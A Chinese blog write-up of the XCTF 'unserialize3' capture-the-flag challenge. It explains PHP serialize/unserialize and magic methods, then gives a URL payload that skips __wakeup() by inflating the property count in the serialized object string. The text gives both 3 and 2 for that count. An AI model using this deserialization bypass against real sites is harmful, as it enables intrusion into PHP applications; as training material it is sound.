攻防世界-unserialize3

一.根据题目猜测这道题应该和反序列化漏洞有关

1.先了解一下什么是序列化和反序列化

当在php中创建了一个对象后,可以通过 serialize() 函数把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。
与 serialize() 相反的就是反序列化函数 unserialize() ,它可以将一个字符串转变为相对应的php对象。

在序列化过程中会用到的函数:
construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数) destruct():当对象被销毁时会自动调用。(析构函数)
wakeup():unserialize() 时会自动调用。 sleep() 在对象被序列化之前运行。
toString ()当一个对象被当作一个字符串使用。
从序列化到反序列化这几个函数的执行过程是:
先调用
construct()->sleep->wakeup()->toString ()->destruct()

开始

1
2
3
4
5
6
7
8
9
10
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$peak = new xctf(); //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($peak)); //输出被序列化的对象(peak)
?>


因此,我们要反序列化xctf类的同时还要绕过wakeup方法的执行(如果不绕过wakeup()方法,那么将会输出bad requests并退出脚本),wakeup()函数漏洞原理:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。因此,需要修改序列化字符串中的属性个数:
当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为3,即如下所示

1
O:4:"xctf":3:{s:4:"flag";s:3:"111";}

然后网址末尾code参数传入O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}
?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}
直接访问得到显示结果。


本文作者: Alone
本文链接: https://blog.nosecurity.cn/posts/40296.html
版权声明: 本博客所有文章除特别声明外,均为原创,采用 CC BY-SA 4.0 协议 ,转载请注明出处!